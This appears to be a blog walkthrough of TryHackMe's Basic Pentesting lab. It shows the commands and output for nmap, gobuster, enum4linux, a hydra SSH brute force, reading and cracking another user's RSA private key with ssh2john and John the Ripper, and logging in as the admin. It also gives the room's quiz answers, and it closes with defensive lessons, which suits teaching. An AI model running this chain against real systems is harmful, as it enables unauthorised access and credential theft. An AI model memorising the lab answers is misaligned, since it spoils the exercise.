Post

Basic Pentesting — TryHackMe Walkthrough

A walkthrough of the Basic Pentesting room on TryHackMe, covering service enumeration, directory brute forcing, SMB user enumeration, SSH brute forcing, and privilege escalation via an exposed RSA private key.

Basic Pentesting — TryHackMe Walkthrough

Overview

The Basic Pentesting room on TryHackMe is designed to introduce core offensive security concepts in a hands-on environment. It walks you through a realistic attack chain on a vulnerable Linux machine, covering:

  • Service enumeration
  • Web directory brute forcing
  • SMB-based user enumeration
  • SSH credential brute forcing
  • Privilege escalation via an exposed RSA private key
  • Hash cracking with John the Ripper

This is a walkthrough of how I completed the room, the thought process behind each step, and the lessons learned along the way.

Desktop View TryHackMe — Basic Pentesting room (100% completed)


Phase 1: Enumeration

Nmap — Service Discovery

Every engagement starts with reconnaissance. I kicked things off with an nmap scan to identify open ports and running services on the target machine.

1
nmap -sV 10.113.190.237 -O
1
2
3
4
5
6
7
8
9
10
11
12
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-27 04:18 -0500
Nmap scan report for 10.113.190.237
Host is up (0.15s latency).
Not shown: 996 closed tcp ports (reset)

PORT     STATE  SERVICE      VERSION
22/tcp   open   ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http         Apache httpd 2.4.41 ((Ubuntu))
139/tcp  open   netbios-ssn  Samba smbd 4
445/tcp  open   netbios-ssn  Samba smbd 4

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan revealed four open ports of immediate interest:

PortServiceNotes
22SSHOpenSSH 8.2p1 — potential brute force target
80HTTPApache web server — worth exploring
139/445SMBSamba — useful for user enumeration

With a web server and SMB both exposed, there were two clear paths to explore next.


Gobuster — Web Directory Brute Forcing

💡 Question: What is the name of the hidden directory on the web server? Answer: development

Port 80 confirmed an active web server. To uncover any hidden directories that weren’t linked from the main page, I ran a directory brute force with gobuster using the dirb common wordlist.

1
gobuster dir -u http://10.113.190.237 -w /usr/share/wordlists/dirb/common.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url:      http://10.113.190.237
[+] Threads:  10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

.htaccess     (Status: 403) [Size: 279]
.hta          (Status: 403) [Size: 279]
.htpasswd     (Status: 403) [Size: 279]
development   (Status: 301) [Size: 322] [--> http://10.113.190.237/development/]
index.html    (Status: 200) [Size: 158]
server-status (Status: 403) [Size: 279]

Progress: 4613 / 4613 (100.00%)
Finished

The development directory returned a 301 redirect, confirming it exists on the server. Navigating to it revealed a dev.txt file — developer notes left behind on the server.

Desktop View The /development/dev.txt file — developer notes with username hints

The notes contained entries signed with -K and -J, hinting at two system users. K appeared to be the more senior administrator, having configured SMB and a Struts deployment. This was a valuable lead.


Phase 2: Linux Enumeration

enum4linux — SMB User Enumeration

💡 Question: What is the username? Answer: jan

With username hints from the web server, I used enum4linux to pull actual system usernames via the SMB service running on ports 139/445. The -a flag runs all basic enumeration checks.

1
enum4linux -a 10.113.190.237

The relevant output from the SID enumeration:

1
2
3
4
5
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000  Unix User\kay    (Local User)
S-1-22-1-1001  Unix User\jan    (Local User)
S-1-22-1-1002  Unix User\ubuntu (Local User)

Three local users confirmed: kay, jan, and ubuntu. Cross-referencing with the dev notes, jan maps to J and kay maps to K — the likely admin. The target for brute forcing is jan.


Phase 3: Brute Forcing

Hydra — SSH Password Brute Force

💡 Question: What is the password? Answer: armando

With a confirmed username (jan) and SSH running on port 22, I launched a dictionary attack against the SSH service using hydra and the rockyou.txt wordlist.

1
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.113.190.237
1
2
3
4
5
6
7
8
9
10
11
12
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries
[DATA] attacking ssh://10.113.190.237:22/

[STATUS] 207.00 tries/min, 207 tries in 00:01h, 14344195 to do in 1154:56h
[STATUS] 197.33 tries/min, 592 tries in 00:03h, 14343810 to do in 1211:29h

[22][ssh] host: 10.113.190.237   login: jan   password: armando

1 of 1 target successfully completed, 1 valid password found
Hydra finished at 2026-02-27 05:13:45

Hydra cracked jan’s password as armando.

💡 Question: What service do you use to access the server? Answer: SSH

With valid credentials confirmed, I logged in:

1
2
ssh jan@10.113.190.237
# Password: armando

Desktop View Successful SSH login as Jan on Ubuntu 20.04.6 LTS


Phase 4: Privilege Escalation

Filesystem Enumeration as Jan

Once inside as jan, I began mapping out what access I had and identifying a path to escalate privileges.

Initial observations:

  • jan had very limited sudo privileges — no direct path to root.
  • Navigating to /home/kay, a pass.bak file was visible but jan had no read permissions on it.
  • I checked the sudoers plugin version, which appeared vulnerable to a chroot exploit. However, transferring the exploit binary via a Python HTTP server failed — jan had no write permissions in any accessible directory on the target.

I pivoted to a deeper filesystem enumeration with ls -la across the home directories.

Desktop View Enumerating Kay’s home directory as Jan — the .ssh directory and id_rsa are visible

Inside /home/kay/.ssh, the directory listing showed an id_rsa file. And critically — jan had read access to it. This was Kay’s RSA private key, left world-readable due to misconfigured file permissions.

Extracting and Cracking Kay’s RSA Private Key

Reading the key confirmed it was passphrase-protected (AES-128-CBC):

1
cat /home/kay/.ssh/id_rsa

Desktop View Kay’s encrypted RSA private key — readable by Jan

I copied the key contents to my Kali machine and prepared it for cracking:

1
2
3
4
5
6
7
8
# Save the key
nano kay_id_rsa

# Secure permissions — SSH refuses keys with loose permissions
chmod 600 kay_id_rsa

# Convert to a format John the Ripper can process
ssh2john kay_id_rsa > kay_hash.txt

Desktop View Preparing the key file and converting it with ssh2john

1
2
3
4
5
# Crack the passphrase against rockyou.txt
john kay_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# The hash had already been cracked — use --show to display cached results
john --show kay_hash.txt

Desktop View John the Ripper revealing the cracked passphrase: beeswax

Passphrase cracked: beeswax

SSH as Kay — Full Admin Access

1
2
ssh -i kay_id_rsa kay@10.113.190.237
# Enter passphrase: beeswax

Desktop View Logged in as Kay — pass.bak contents revealed

Logged in as the admin. cat pass.bak revealed:

1
heresareallystrongpasswordthatfollowsthepasswordpolicy$$

Pwned. ✅


Summary & Key Takeaways

This room demonstrated a complete attack chain — from unauthenticated reconnaissance to full system compromise through a chain of misconfigurations.

  1. Nmap revealed SSH, HTTP, and SMB running on the target.
  2. Gobuster uncovered /development — a hidden directory containing developer notes with username hints.
  3. enum4linux confirmed system users jan and kay via unauthenticated SMB.
  4. Hydra brute-forced jan’s SSH password (armando) using rockyou.txt.
  5. Filesystem enumeration as jan revealed Kay’s id_rsa key with world-readable permissions.
  6. ssh2john + John the Ripper cracked the RSA passphrase to beeswax.
  7. SSH as Kay granted admin access and exposed pass.bak.

Security Lessons

  • Weak passwords are a liability. armando is in rockyou.txt. Any internet-facing SSH service needs strong, unique credentials — or better yet, key-based authentication only.
  • File permissions are a security boundary. A private key readable by other users is a compromised key. Always chmod 600 and verify ownership.
  • Unauthenticated SMB leaks system users. Leaving Samba accessible without authentication lets attackers enumerate valid usernames, drastically narrowing any brute force effort.
  • Dev notes on production servers are an OPSEC failure. The /development/dev.txt file handed the attacker username hints and internal server details.
  • Defense in depth is essential. No single control stopped this chain — each misconfiguration built on the last. Layered security ensures one mistake doesn’t lead to full compromise.

Tools Used

ToolPurpose
nmapPort scanning and service version detection
gobusterWeb directory brute forcing
enum4linuxSMB-based user and share enumeration
hydraSSH credential brute forcing
ssh2johnConverting RSA private keys to a crackable hash format
john (John the Ripper)RSA key passphrase cracking

References

TryHackMe — Basic Pentesting Room. https://tryhackme.com/room/basicpentestingjt

Nmap Documentation. https://nmap.org/docs.html

Hydra — THC. https://github.com/vanhauser-thc/thc-hydra

John the Ripper. https://www.openwall.com/john/

enum4linux. https://github.com/CiscoCXSecurity/enum4linux

This post is licensed under CC BY 4.0 by the author.